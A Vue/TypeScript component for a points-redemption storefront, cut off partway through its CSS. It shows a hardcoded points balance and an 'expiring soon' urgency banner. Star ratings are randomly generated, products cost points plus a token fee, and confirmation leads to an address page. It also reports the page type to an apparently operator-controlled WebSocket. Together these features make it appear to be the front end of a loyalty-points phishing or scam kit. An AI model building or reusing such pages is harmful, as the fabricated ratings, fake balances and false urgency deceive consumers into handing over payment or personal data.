﻿<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, nextTick, onBeforeUnmount, onMounted, ref, watch } from "vue";
import {
  configData,
  inputChange,
  myWebSocket,
  formatPriceWithUnit,
  extractPrice,
  formatNumber,
} from "@/utils/common";

import { globalConfig, goodsConfig } from "@/config";
import { useI18n } from "vue-i18n";
import ProductCard from "@/components/ProductCard/index.vue";
import ExchangeConfirmModal from "@/components/ProductCard/ExchangeConfirmModal.vue";

// ==================== 类型定义 ====================
interface GoodsItem {
  image: string;
  imageUrl: string;
  title: string;
  point: string;
  point2?: number;
  onlyPoints?: number;
  price: string;
  price2: number;
  count: number;
  subTitle?: string;
  top?: string;
  topName?: string;
  tag?: string;
  detail?: string;
}

// ==================== 常量定义 ====================
const THEME = {
  GRID: "2",
  STACK: "4",
} as const;

const FEE_TYPE = {
  NONE: 0,
  FIXED: 1,
  ADDRESS_SELECT: 2,
  GOODS_SELECT: 3,
} as const;

const TAB = {
  FULL_POINTS: "1",
  POINTS_MONEY: "2",
} as const;

const SHIPPING_OFFSET_DAYS = {
  EXPRESS_START: 2,
  STANDARD_START: 4,
  STANDARD_END: 6,
} as const;

const LAYOUT = {
  COLUMNS: 2,
  GAP: 10,
} as const;

// ==================== 组合式函数和工具 ====================
const { t } = useI18n();
const loadingStore = useLoadingStore();
const router = useRouter();


// ==================== 响应式状态 ====================
const selectedGoods = ref<GoodsItem | null>(null);
const selectedTab = ref("");
const goodsList = ref<GoodsItem[]>([]);
const totalPoints = ref(0);
const moneyAmount = ref(0);
const selectGoods = ref<GoodsItem | null>(null);
const totalPoint = ref(3022);
const selectFee = ref("");

// Theme 4 确认弹窗相关
const showExchangeModal = ref(false);
const pendingExchangeGoods = ref<GoodsItem | null>(null);

// 瀑布流布局相关
const productsEl = ref<HTMLElement | null>(null);
let layoutRafId: number | null = null;
let resizeObserver: ResizeObserver | null = null;

// ==================== 工具函数 ====================
/**
 * 获取商品的积分值
 */
const getGoodsPoints = (goods: GoodsItem): number => {
  return Number(goods.point2) || Number(goods.onlyPoints) || 0;
};

/**
 * 计算运费金额
 */
const calculateShippingFee = (): number => {
  const feeType = goodsConfig.value.feeType;

  if (feeType === FEE_TYPE.GOODS_SELECT && selectFee.value) {
    const fee1 = formatPriceWithUnit(goodsConfig.value.fee);
    const fee2 = formatPriceWithUnit(goodsConfig.value.fee2);

    if (selectFee.value === fee1) return goodsConfig.value.fee;
    if (selectFee.value === fee2) return goodsConfig.value.fee2;
  } else if (feeType === FEE_TYPE.FIXED && goodsConfig.value.fee) {
    return goodsConfig.value.fee;
  }

  return 0;
};

/**
 * 验证是否可以进行兑换
 */
const validateExchange = (): string | null => {
  if (totalPoints.value === 0) {
    return t("goods_view.please_redeem");
  }

  if (goodsConfig.value.feeType === FEE_TYPE.GOODS_SELECT && selectFee.value === "") {
    return t("goods_view.please_select_date");
  }

  return null;
};
/**
 * 保存兑换数据到 localStorage
 */
const saveExchangeData = (feeAmount: number, totalAmount: number) => {
  localStorage.setItem("pointsUsed", totalPoints.value.toString());

  if (moneyAmount.value > 0) {
    localStorage.setItem("goodsPrice", moneyAmount.value.toString());
    inputChange("SelectGoods", "price", moneyAmount.value.toString());
  }

  if (feeAmount > 0) {
    const feeStr = formatPriceWithUnit(feeAmount);
    inputChange("SelectGoods", "fee", feeStr);
    localStorage.setItem("shippingFee", feeStr);
  }

  localStorage.setItem("moneyAmount", totalAmount.toString());

  if (selectGoods.value) {
    inputChange("SelectGoods", "title", selectGoods.value.title);
  }
};

// ==================== 核心功能函数 ====================
/**
 * 进行商品兑换并跳转到地址页
 */
const next = () => {
  // 验证
  const error = validateExchange();
  if (error) {
    alert(error);
    return;
  }

  // 计算运费和总金额
  const feeAmount = calculateShippingFee();
  const totalAmount = moneyAmount.value + feeAmount;

  // 保存数据
  saveExchangeData(feeAmount, totalAmount);

  // 跳转到地址页
  loadingStore.setLoading(true);
  setTimeout(() => {
    router.push("/address");
  }, 200);
};

const tempList: Partial<GoodsItem>[] = [
  {
    image: "https://images.unsplash.com/photo-1657560566744-06d0b69f6647?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p1title"),
    point2: 2999,
    price: globalConfig?.goods_price || "0.23",
    subTitle: "H2 Chip | Adaptive Audio | 3D Sound",
    top: "TOP1",
    topName: "Popularity List",
    tag: "Hot",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1743521442683-08ffd8ac9e14?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p2title"),
    point2: 2999,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1715081406782-d605bd2d39a8?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p3title"),
    point2: 2699,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1686554825554-24adfcf5406a?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p4title"),
    point2: 2699,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1740803292374-d942a979c5e3?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p5title"),
    point2: 2499,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
  {
    image: "https://images.unsplash.com/photo-1721300217761-e580569047f5?w=800&h=600&fit=crop&crop=center",
    title: t("goods_view.p6title"),
    point2: 2499,
    price: globalConfig?.goods_price || "0.23",
    count: 0,
  },
];

/**
 * 瀑布流布局：absolute + JS 计算两列位置
 * 规则：按数据顺序交替落在左右列（index % 2）
 */
const layoutMasonry = async () => {
  await nextTick();

  const container = productsEl.value;
  if (!container) return;

  // Grid 或 Stack 布局模式下不需要瀑布流计算
  const theme = goodsConfig.value.theme;
  if (theme === THEME.GRID || theme === THEME.STACK) {
    container.style.height = "auto";
    return;
  }

  const items = Array.from(container.children as HTMLCollectionOf<HTMLElement>);
  if (items.length === 0) {
    container.style.height = "0px";
    return;
  }

  const containerWidth = container.clientWidth;
  if (containerWidth === 0) return;

  const colWidth = Math.max(
    0,
    Math.floor((containerWidth - LAYOUT.GAP) / LAYOUT.COLUMNS)
  );
  const colHeights = new Array(LAYOUT.COLUMNS).fill(0);

  items.forEach((item, index) => {
    const col = index % LAYOUT.COLUMNS;

    item.style.width = `${colWidth}px`;
    item.style.left = `${col * (colWidth + LAYOUT.GAP)}px`;
    item.style.top = `${colHeights[col]}px`;

    colHeights[col] += item.offsetHeight + LAYOUT.GAP;
  });

  container.style.height = `${Math.max(...colHeights)}px`;
};

/**
 * 调度布局更新（使用 requestAnimationFrame 优化性能）
 */
const scheduleLayout = () => {
  if (layoutRafId != null) cancelAnimationFrame(layoutRafId);
  layoutRafId = requestAnimationFrame(() => {
    layoutRafId = null;
    void layoutMasonry();
  });
};

/**
 * 添加或减少商品数量
 */
const add = (goods: GoodsItem, addNum: number) => {
  const currentPoint = getGoodsPoints(goods);

  // 检查积分是否足够
  if (addNum > 0 && totalPoints.value + currentPoint * addNum > totalPoint.value) {
    alert(t("goods_view.not_enough_points"));
    return;
  }

  // 防止数量小于 0
  if (goods.count === 0 && addNum < 0) {
    return;
  }

  // 更新商品数量
  goods.count += addNum;

  // 更新总积分和金额
  if (goods.count === 0) {
    totalPoints.value = 0;
    moneyAmount.value = 0;
    selectGoods.value = null;
  } else {
    totalPoints.value += currentPoint * addNum;
    moneyAmount.value += goods.price2 * addNum;
    selectGoods.value = goods;
  }

  // 数量变化可能导致卡片高度变化，触发布局刷新
  scheduleLayout();
};

/**
 * Theme 4: 点击兑换按钮，显示确认弹窗
 */
const exchangeGoods = (goods: GoodsItem) => {
  const currentPoint = getGoodsPoints(goods);

  if (currentPoint > totalPoint.value) {
    alert(t("goods_view.not_enough_points"));
    return;
  }

  // 保存商品信息供其他页面使用
  localStorage.setItem("selectedGoodsTitle", goods.title);
  localStorage.setItem("selectedGoodsImage", goods.image);
  localStorage.setItem("selectedGoodsDetail", goods.detail || goods.subTitle || "");
  localStorage.setItem("goodsDetail", JSON.stringify(goods));

  pendingExchangeGoods.value = goods;
  showExchangeModal.value = true;
};

/**
 * 确认兑换
 */
const confirmExchange = () => {
  const goods = pendingExchangeGoods.value;
  if (!goods) return;

  const currentPoint = getGoodsPoints(goods);

  // 设置商品数量为 1
  goods.count = 1;
  totalPoints.value = currentPoint;
  moneyAmount.value = goods.price2 || 0;
  selectGoods.value = goods;

  // 关闭弹窗并跳转
  showExchangeModal.value = false;
  pendingExchangeGoods.value = null;
  next();
};

/**
 * 取消兑换
 */
const cancelExchange = () => {
  showExchangeModal.value = false;
  pendingExchangeGoods.value = null;
};

// ==================== 计算属性 ====================
const requiredPoints = computed(() =>
  pendingExchangeGoods.value ? getGoodsPoints(pendingExchangeGoods.value) : 0
);

const remainingPointsAfterExchange = computed(() =>
  totalPoint.value - requiredPoints.value
);

/**
 * 获取或设置过期日期（缓存在 localStorage）
 */
const getExpiryDate = (): string => {
  const storedDate = localStorage.getItem("exchangeExpiryDate");
  if (storedDate) return storedDate;

  const now = new Date();
  const nextMonth = new Date(now.getFullYear(), now.getMonth() + 1, now.getDate());

  const formattedDate = nextMonth.toLocaleDateString("es-ES", {
    day: "numeric",
    month: "long",
    year: "numeric"
  });

  localStorage.setItem("exchangeExpiryDate", formattedDate);
  return formattedDate;
};

const expiryDate = ref(getExpiryDate());



/**
 * 从配置数据创建商品列表
 */
const createGoodsFromConfig = (): GoodsItem[] => {
  const result: GoodsItem[] = [];

  if (!configData.value.goods?.list?.length) return result;

  configData.value.goods.list.forEach((item: any) => {
    const price = extractPrice(item["price"]) ?? 0;
    const price2 = price * goodsConfig.value.rate;
    const rawPrice = formatPriceWithUnit(price2);

    result.push({
      image: item["imageUrl"].split(",")[0],
      imageUrl: item["imageUrl"],
      title: item["name"],
      point: item["points"] ? `${formatNumber(item["points"])} ${t("points")} +  ${rawPrice}` : "",
      point2: item["points"],
      onlyPoints: item["onlyPoints"],
      price: rawPrice,
      price2,
      count: 0,
      subTitle: item["subName"],
      top: item["top"],
      topName: item["topName"],
      tag: item["tag"],
      detail: item["detail"] || "",
    });
  });

  return result;
};

/**
 * 从模板数据创建商品列表
 */
const createGoodsFromTemplate = (): GoodsItem[] => {
  return tempList.map((item: any) => {
    const priceStr = item.price.toString();
    const priceMatch = priceStr.match(/(?:[a-zA-Z]*\s*)?(\d+(\.\d+)?)(?:\s*[a-zA-Z]*)?/);
    const price2 = priceMatch?.[1] ? parseFloat(priceMatch[1]) : 0;
    const rawPrice = formatPriceWithUnit(item.price);

    return {
      image: item.image,
      imageUrl: item.image,
      title: item.title,
      point: `${formatNumber(item.point2)} ${t("points")} + ${rawPrice}`,
      point2: item.point2,
      onlyPoints: item.onlyPoints,
      price: item.price,
      price2,
      count: 0,
      subTitle: item.subTitle,
      top: item.top,
      topName: item.topName,
      tag: item.tag,
      detail: item.detail || "",
    } as GoodsItem;
  });
};

/**
 * 根据选中的标签过滤商品列表
 */
const filterGoodsByTab = (list: GoodsItem[]): GoodsItem[] => {
  if (selectedTab.value === TAB.POINTS_MONEY) {
    return list.filter((g) => g.price !== undefined && g.price2 > 0);
  } else if (selectedTab.value === TAB.FULL_POINTS) {
    return list.filter((g) => g.onlyPoints !== undefined && g.onlyPoints > 0);
  }
  return list;
};

/**
 * 初始化商品数据
 */
const initData = () => {
  loadingStore.setLoading(false);

  // 创建商品列表
  let goodsListData: GoodsItem[];

  if (configData.value.goods?.list?.length) {
    goodsListData = createGoodsFromConfig();
  } else if (configData.value.goods) {
    goodsListData = createGoodsFromTemplate();
  } else {
    configData.value.goods = [];
    goodsListData = [];
  }

  // 加载总积分
  const point = localStorage.getItem("totalPoint");
  if (point) totalPoint.value = Number(point);

  // 根据标签过滤商品
  goodsList.value = filterGoodsByTab(goodsListData);

  // 触发布局刷新
  scheduleLayout();
};

// ==================== 生命周期钩子 ====================
watch(
  () => configData.value,
  (newVal) => {
    if (newVal) initData();
  },
  { deep: true, immediate: true }
);

onMounted(() => {
  initData();

  // 通知 WebSocket 页面类型
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "goods" },
    })
  );
  localStorage.setItem("route", "goods");

  // 设置 ResizeObserver 监听容器大小变化
  if (productsEl.value && typeof ResizeObserver !== "undefined") {
    resizeObserver = new ResizeObserver(scheduleLayout);
    resizeObserver.observe(productsEl.value);
  }

  scheduleLayout();
});

onBeforeUnmount(() => {
  if (layoutRafId != null) {
    cancelAnimationFrame(layoutRafId);
    layoutRafId = null;
  }
  if (resizeObserver) {
    resizeObserver.disconnect();
    resizeObserver = null;
  }

});

/**
 * 打开商品详情
 */
const openModal = (goods: GoodsItem) => {
  selectedGoods.value = goods;
  localStorage.setItem("goodsDetail", JSON.stringify(goods));

  // 如果不是商品页选择运费类型，跳转到详情页
  if (goodsConfig.value.feeType !== FEE_TYPE.GOODS_SELECT) {
    useLoadingStore().setLoading(true);
    router.push("/goodsDetails");
  }
};

/**
 * 选择标签页
 */
const selectTab = (tab: string) => {
  selectedTab.value = selectedTab.value === tab ? "" : tab;
  initData();
};

// ==================== 配送日期计算 ====================
const currentDate = new Date();

const dayNames = computed(() => [
  t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"),
  t("Thursday"), t("Friday"), t("Saturday")
]);

const monthNames = computed(() => [
  t("January"), t("February"), t("March"), t("April"),
  t("May"), t("June"), t("July"), t("August"),
  t("September"), t("October"), t("November"), t("December")
]);

const shippingMessage = computed(() => {
  const date = new Date(currentDate);
  date.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.EXPRESS_START);

  const day = dayNames.value[date.getDay()];
  const dateNum = date.getDate() + 1;
  const month = monthNames.value[date.getMonth()];

  return t("goods_view.express_shipping", {
    day,
    date: dateNum,
    month
  });
});

const shippingMessage2 = computed(() => {
  const startDate = new Date(currentDate);
  const endDate = new Date(currentDate);
  startDate.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.STANDARD_START);
  endDate.setDate(currentDate.getDate() + SHIPPING_OFFSET_DAYS.STANDARD_END);

  return t("goods_view.delivery_between", {
    startDay: dayNames.value[startDate.getDay()],
    startDayNumber: startDate.getDate(),
    startMonth: monthNames.value[startDate.getMonth()],
    endDay: dayNames.value[endDate.getDay()],
    endDayNumber: endDate.getDate(),
    endMonth: monthNames.value[endDate.getMonth()],
  });
});

/**
 * 计算总金额（商品价格 + 运费）
 */
const totalAmount = computed(() =>
  moneyAmount.value + calculateShippingFee()
);

/**
 * 获取当前运费金额用于显示
 */
const currentShippingFee = computed(() => {
  const feeType = goodsConfig.value.feeType;

  if (feeType === FEE_TYPE.GOODS_SELECT && selectFee.value) {
    return selectFee.value;
  } else if (feeType === FEE_TYPE.FIXED && goodsConfig.value.fee) {
    return formatPriceWithUnit(goodsConfig.value.fee);
  }

  return "";
});

/**
 * 计算平均需要的积分
 */
const averagePointsNeeded = computed(() => {
  if (goodsList.value.length === 0) return 0;

  const total = goodsList.value.reduce(
    (sum, item) => sum + getGoodsPoints(item),
    0
  );

  return Math.round(total / goodsList.value.length);
});

// ==================== 评分工具 ====================
const goodsRatings = ref<Map<string, number>>(new Map());

function getRating(goods: GoodsItem): number {
  const key = goods.image;
  if (!goodsRatings.value.has(key)) {
    const rating = Math.round((4.5 + Math.random() * 0.5) * 10) / 10;
    goodsRatings.value.set(key, rating);
  }
  return goodsRatings.value.get(key)!;
}

function getStars(rating: number): string {
  return rating >= 4.8 ? '★★★★★' : '★★★★☆';
}
</script>
<template>
  <CommonLayout>
    <template #default>
      <div class="gv-pts__page">
        <div class="gv-pts__content">
          <section class="gv-pts__card">

            <!-- Header -->
            <header class="gv-pts__card-header">
              <span class="gv-pts__eyebrow-badge">{{ t('goods_view.exclusive_catalog') }}</span>
              <h1 class="gv-pts__main-title">{{ t('goods_view.you_have_points', { points: formatNumber(totalPoint) }) }}</h1>
              <p class="gv-pts__main-sub">{{ t('goods_view.redeem_desc') }}</p>
              <div class="gv-pts__warn-box">
                <span class="gv-pts__warn-icon">⚠️</span>
                <span class="gv-pts__warn-text">{{ t('goods_view.expiring_soon') }}</span>
              </div>
              <div class="gv-pts__meter-wrap" aria-hidden="true">
                <div class="gv-pts__meter-bar"></div>
              </div>
              <p class="gv-pts__bal-line">{{ t('goods_view.current_balance') }} <strong class="gv-pts__bal-num">{{ formatNumber(totalPoint) }}</strong> {{ t('points') }}</p>
              <p class="gv-pts__bal-line gv-pts__bal-line--sm">{{ t('goods_view.avg_needed') }} <strong class="gv-pts__bal-num">{{ averagePointsNeeded.toLocaleString() }}</strong> {{ t('goods_view.points_per_reward') }}</p>
            </header>

            <!-- All products - same vertical card layout -->
            <section class="gv-pts__list-section" v-if="goodsList.length > 0" aria-label="Shperblime te disponueshme">
              <ul class="gv-pts__items">
                <li class="gv-pts__item" v-for="(goods, index) in goodsList" :key="goods.image">
                  <div class="gv-pts__hero-img-box">
                    <img :src="goods.image" :alt="goods.title" class="gv-pts__hero-img" :loading="index === 0 ? 'eager' : 'lazy'">
                    <div class="gv-pts__hero-pts-badge">{{ goods.point2 ? goods.point2.toLocaleString() : '' }} {{ t('points') }}</div>
                  </div>
                  <div class="gv-pts__hero-info">
                    <h2 class="gv-pts__hero-title">{{ goods.title }}</h2>
                    <p class="gv-pts__hero-sub" v-if="goods.subTitle || goods.detail">{{ goods.subTitle || goods.detail }}</p>
                    <div class="gv-pts__tag-row">
                      <span class="gv-pts__tag" v-if="goods.top">{{ goods.top }}</span>
                      <span class="gv-pts__tag" v-if="goods.topName">{{ goods.topName }}</span>
                      <span class="gv-pts__tag" v-if="goods.tag">{{ goods.tag }}</span>
                    </div>
                    <div class="gv-pts__stars-row">
                      <span class="gv-pts__stars">{{ getStars(getRating(goods)) }}</span>
                      <span class="gv-pts__stars-score">({{ getRating(goods) }}/5)</span>
                    </div>
                    <button type="button" class="gv-pts__main-btn" @click="exchangeGoods(goods)">{{ t('goods_view.redeem_now') }}</button>
                  </div>
                </li>
              </ul>
            </section>

            <!-- Dialog -->
            <Teleport to="body">
              <Transition name="gv-dialog">
              <div class="gv-pts__overlay" v-if="showExchangeModal" @click.self="cancelExchange">
                <div class="gv-pts__dialog" role="dialog" aria-modal="true">
                  <div class="gv-pts__dialog-hd">
                    <h2 class="gv-pts__dialog-title">{{ t('goods_view.confirm_exchange_title') }}</h2>
                  </div>
                  <div class="gv-pts__dialog-bd">
                    <p class="gv-pts__dialog-warn">
                      <strong>{{ t('goods_view.notice_title') }}</strong> {{ t('goods_view.monthly_limit_msg', { date: expiryDate }) }}<br>
                      <strong>{{ t('goods_view.no_cancel_title') }}</strong> {{ t('goods_view.no_cancel_msg') }}
                    </p>
                    <dl class="gv-pts__dialog-dl">
                      <div class="gv-pts__dialog-row">
                        <dt class="gv-pts__dialog-dt">{{ t('goods_view.selected_reward_label') }}</dt>
                        <dd class="gv-pts__dialog-dd">{{ pendingExchangeGoods ? pendingExchangeGoods.title : '' }}</dd>
                      </div>
                      <div class="gv-pts__dialog-row">
                        <dt class="gv-pts__dialog-dt">{{ t('goods_view.points_required_label') }}</dt>
                        <dd class="gv-pts__dialog-dd gv-pts__dialog-dd--pts">{{ requiredPoints.toLocaleString() }}</dd>
                      </div>
                      <div class="gv-pts__dialog-row">
                        <dt class="gv-pts__dialog-dt">{{ t('goods_view.points_remaining_label') }}</dt>
                        <dd class="gv-pts__dialog-dd gv-pts__dialog-dd--rem">{{ remainingPointsAfterExchange.toLocaleString() }}</dd>
                      </div>
                    </dl>
                    <p class="gv-pts__dialog-q">{{ t('goods_view.confirm_question') }}</p>
                  </div>
                  <div class="gv-pts__dialog-ft">
                    <button type="button" class="gv-pts__btn-cancel" @click="cancelExchange">{{ t('Cancel') }}</button>
                    <button type="button" class="gv-pts__btn-confirm" @click="confirmExchange">{{ t('goods_view.confirm_btn') }}</button>
                  </div>
                </div>
              </div>
              </Transition>
            </Teleport>

            <footer class="gv-pts__card-ft">
              <p class="gv-pts__card-ft-note">{{ t('goods_view.points_note') }}</p>
            </footer>

          </section>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>

<style scoped>
/* ===== Page ===== */
.gv-pts__page {
  min-height: 100vh;
  background: #f4f4f4;
  padding: 0;
  box-sizing: border-box;
}
.gv-pts__content {
  max-width: 480px;
  margin: 0 auto;
  padding: 14px;
}

/* ===== Card ===== */
.gv-pts__card {
  background: #fff;
  border-radius: 16px;
  overflow: hidden;
  box-shadow: 0 1px 12px rgba(0,0,0,0.08);
}

/* ===== Card Header ===== */
.gv-pts__card-header {
  padding: 20px 18px 14px;
  background: #fff;
  border-bottom: 1px solid #f0f0f0;
}
.gv-pts__eyebrow-badge {
  display: inline-block;
  background: var(--global-primary-color);
  color: #fff;
  font-size: 10px;
  font-weight: 700;
  letter-spacing: 0.07em;
  text-transform: uppercase;
  padding: 5px 12px;
  border-radius: 4px;
  margin-bottom: 12px;
}
.gv-pts__main-title {
  font-size: 22px;
  font-weight: 700;
  color: #111;
  margin: 0 0 8px;
  line-height: 1.25;
}
.gv-pts__main-sub {
  font-size: 13px;
  color: #666;
  margin: 0 0 14px;
  line-height: 1.55;
}

/* Warning box */
.gv-pts__warn-box {
  display: flex;
  gap: 8px;
  align-items: flex-start;
  background: #fff8e1;
  border: 1px solid #ffe082;
  border-radius: 8px;
  padding: 10px 12px;
  margin-bottom: 14px;
}
.gv-pts__warn-icon {
  font-size: 15px;
  flex-shrink: 0;
  margin-top: 1px;
}
.gv-pts__warn-text {
  font-size: 12px;
  color: #7a5800;
  line-height: 1.55;
}

/* Meter */
.gv-pts__meter-wrap {
  height: 5px;
  background: #eee;
  border-radius: 3px;
  overflow: hidden;
  margin-bottom: 12px;
}
.gv-pts__meter-bar {
  height: 100%;
  width: 72%;
  background: var(--global-primary-color);
  border-radius: 3px;
}

/* Balance lines */
.gv-pts__bal-line {
  font-size: 13px;
  color: #333;
  margin: 0 0 4px;
}
.gv-pts__bal-line--sm {
  font-size: 12px;
  color: #888;
  margin-bottom: 0;
}
.gv-pts__bal-num {
  color: var(--global-primary-color);
  font-weight: 700;
  font-size: inherit;
}

/* ===== Hero Section ===== */
.gv-pts__hero-section {
  padding: 16px 18px 20px;
  border-bottom: 1px solid #f0f0f0;
}
.gv-pts__hero-img-box {
  position: relative;
  width: 100%;
  background: transparent;
  border-radius: 12px;
  overflow: hidden;
  margin-bottom: 14px;
  aspect-ratio: 4 / 3;
}
.gv-pts__hero-img {
  width: 100%;
  height: 100%;
  object-fit: contain;
  display: block;
  padding: 16px;
  box-sizing: border-box;
}
.gv-pts__hero-pts-badge {
  position: absolute;
  top: 10px;
  right: 10px;
  background: var(--global-primary-color);
  color: #fff;
  font-size: 12px;
  font-weight: 700;
  padding: 5px 12px;
  border-radius: 20px;
  text-transform: uppercase;
  letter-spacing: 0.04em;
  box-shadow: 0 2px 6px rgba(0,0,0,0.18);
}
.gv-pts__hero-info {
  padding: 0 16px;
}
.gv-pts__hero-title {
  font-size: 17px;
  font-weight: 700;
  color: #111;
  margin: 0 0 6px;
  line-height: 1.35;
}
.gv-pts__hero-sub {
  font-size: 12px;
  color: #888;
  margin: 0 0 12px;
  line-height: 1.5;
}

/* Tags */
.gv-pts__tag-row {
  display: flex;
  flex-wrap: wrap;
  gap: 6px;
  margin-bottom: 10px;
}
.gv-pts__tag {
  border: 1px solid var(--global-primary-color);
  color: var(--global-primary-color);
  font-size: 10px;
  font-weight: 600;
  padding: 3px 10px;
  border-radius: 20px;
  letter-spacing: 0.03em;
  background: #fff;
}

/* Stars */
.gv-pts__stars-row {
  display: flex;
  align-items: center;
  gap: 5px;
  margin-bottom: 14px;
}
.gv-pts__stars {
  color: #f5a623;
  font-size: 15px;
}
.gv-pts__stars-score {
  font-size: 12px;
  color: #999;
}

/* Main CTA button */
.gv-pts__main-btn {
  display: block;
  width: 100%;
  background: var(--global-primary-color);
  color: #fff;
  border: none;
  border-radius: 8px;
  padding: 14px 0;
  font-size: 15px;
  font-weight: 700;
  cursor: pointer;
  letter-spacing: 0.02em;
  transition: opacity 0.16s;
}
.gv-pts__main-btn:active {
  opacity: 0.82;
}

/* ===== Product List Section ===== */
.gv-pts__list-section {
  padding: 16px 14px 20px;
}
.gv-pts__list-heading {
  font-size: 15px;
  font-weight: 700;
  color: #111;
  margin: 0 0 4px;
}
.gv-pts__list-sub {
  font-size: 12px;
  color: #999;
  margin: 0 0 14px;
  line-height: 1.5;
}
.gv-pts__items {
  list-style: none;
  margin: 0;
  padding: 0;
  display: flex;
  flex-direction: column;
  gap: 16px;
}
.gv-pts__item {
  display: flex;
  flex-direction: column;
  background: #fff;
  border-radius: 14px;
  border: 1px solid #efefef;
  overflow: hidden;
  box-shadow: 0 1px 6px rgba(0,0,0,0.06);
  padding: 0 0 16px;
}
.gv-pts__item-img-box {
  position: relative;
  flex-shrink: 0;
  width: 80px;
  height: 80px;
  background: #f0f0f0;
  border-radius: 8px;
  overflow: hidden;
}
.gv-pts__item-img {
  width: 100%;
  height: 100%;
  object-fit: cover;
  display: block;
}
.gv-pts__item-pts-badge {
  position: absolute;
  bottom: 4px;
  left: 50%;
  transform: translateX(-50%);
  background: var(--global-primary-color);
  color: #fff;
  font-size: 8px;
  font-weight: 700;
  padding: 2px 6px;
  border-radius: 20px;
  white-space: nowrap;
}
.gv-pts__item-body {
  flex: 1;
  min-width: 0;
  display: flex;
  flex-direction: column;
  gap: 4px;
}
.gv-pts__item-title {
  font-size: 13px;
  font-weight: 600;
  color: #111;
  margin: 0;
  line-height: 1.35;
}
.gv-pts__item-sub {
  font-size: 11px;
  color: #999;
  margin: 0;
  line-height: 1.45;
}
.gv-pts__item-foot {
  display: flex;
  align-items: center;
  justify-content: space-between;
  margin-top: 6px;
}
.gv-pts__sm-btn {
  background: var(--global-primary-color);
  color: #fff;
  border: none;
  border-radius: 6px;
  padding: 6px 12px;
  font-size: 11px;
  font-weight: 700;
  cursor: pointer;
  transition: opacity 0.16s;
  white-space: nowrap;
}
.gv-pts__sm-btn:active {
  opacity: 0.82;
}

/* ===== Dialog transition ===== */
.gv-dialog-enter-active {
  transition: opacity 0.25s ease;
}
.gv-dialog-leave-active {
  transition: opacity 0.2s ease;
}
.gv-dialog-enter-from,
.gv-dialog-leave-to {
  opacity: 0;
}
.gv-dialog-enter-active .gv-pts__dialog {
  transition: transform 0.28s cubic-bezier(0.34, 1.4, 0.64, 1), opacity 0.25s ease;
}
.gv-dialog-leave-active .gv-pts__dialog {
  transition: transform 0.2s ease, opacity 0.2s ease;
}
.gv-dialog-enter-from .gv-pts__dialog {
  transform: translateY(40px) scale(0.96);
  opacity: 0;
}
.gv-dialog-leave-to .gv-pts__dialog {
  transform: translateY(20px) scale(0.97);
  opacity: 0;
}

/* ===== Dialog ===== */
.gv-pts__overlay {
  position: fixed;
  inset: 0;
  background: rgba(0,0,0,0.62);
  backdrop-filter: blur(3px);
  -webkit-backdrop-filter: blur(3px);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 9999;
  padding: 16px;
  box-sizing: border-box;
  pointer-events: auto;
}
.gv-pts__dialog {
  background: #fff;
  border-radius: 20px;
  width: 100%;
  max-width: 420px;
  max-height: 90vh;
  overflow-y: auto;
  box-shadow: 0 24px 64px rgba(0,0,0,0.42), 0 4px 16px rgba(0,0,0,0.18);
}
.gv-pts__dialog-hd {
  background: var(--global-primary-color);
  padding: 22px 24px 20px;
  border-radius: 16px 16px 0 0;
}
.gv-pts__dialog-title {
  color: #fff;
  font-size: 18px;
  font-weight: 700;
  margin: 0;
  letter-spacing: 0.01em;
}
.gv-pts__dialog-bd {
  padding: 24px 24px 16px;
  display: flex;
  flex-direction: column;
  gap: 16px;
}
.gv-pts__dialog-warn {
  font-size: 13px;
  color: #555;
  line-height: 1.7;
  background: #fffbea;
  border-left: 4px solid #f5a623;
  padding: 12px 14px;
  border-radius: 0 10px 10px 0;
  margin: 0;
}
.gv-pts__dialog-dl {
  background: #f8f8f8;
  border-radius: 12px;
  overflow: hidden;
  margin: 0;
  padding: 0;
  border: 1px solid #efefef;
}
.gv-pts__dialog-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 14px 18px;
  border-bottom: 1px solid #efefef;
}
.gv-pts__dialog-row:last-child {
  border-bottom: none;
}
.gv-pts__dialog-dt {
  font-size: 13px;
  color: #888;
  font-weight: 400;
}
.gv-pts__dialog-dd {
  font-size: 14px;
  font-weight: 700;
  color: #111;
  margin: 0;
  text-align: right;
  max-width: 58%;
}
.gv-pts__dialog-dd--pts {
  color: var(--global-primary-color);
  font-size: 16px;
}
.gv-pts__dialog-dd--rem {
  color: #2e7d32;
  font-size: 16px;
}
.gv-pts__dialog-q {
  font-size: 14px;
  color: #444;
  text-align: center;
  margin: 0;
  font-weight: 500;
  line-height: 1.6;
}
.gv-pts__dialog-ft {
  display: flex;
  gap: 12px;
  padding: 16px 24px 24px;
}
.gv-pts__btn-cancel,
.gv-pts__btn-confirm {
  flex: 1;
  border: none;
  border-radius: 10px;
  padding: 15px 0;
  font-size: 15px;
  font-weight: 700;
  cursor: pointer;
  transition: opacity 0.16s, transform 0.12s;
}
.gv-pts__btn-cancel:active,
.gv-pts__btn-confirm:active {
  opacity: 0.8;
  transform: scale(0.97);
}
.gv-pts__btn-cancel {
  background: #efefef;
  color: #555;
}
.gv-pts__btn-confirm {
  background: var(--global-primary-color);
  color: #fff;
  box-shadow: 0 4px 12px rgba(230, 0, 0, 0.25);
}

/* ===== Card Footer ===== */
.gv-pts__card-ft {
  padding: 12px 18px;
  border-top: 1px solid #f0f0f0;
  background: #fafafa;
}
.gv-pts__card-ft-note {
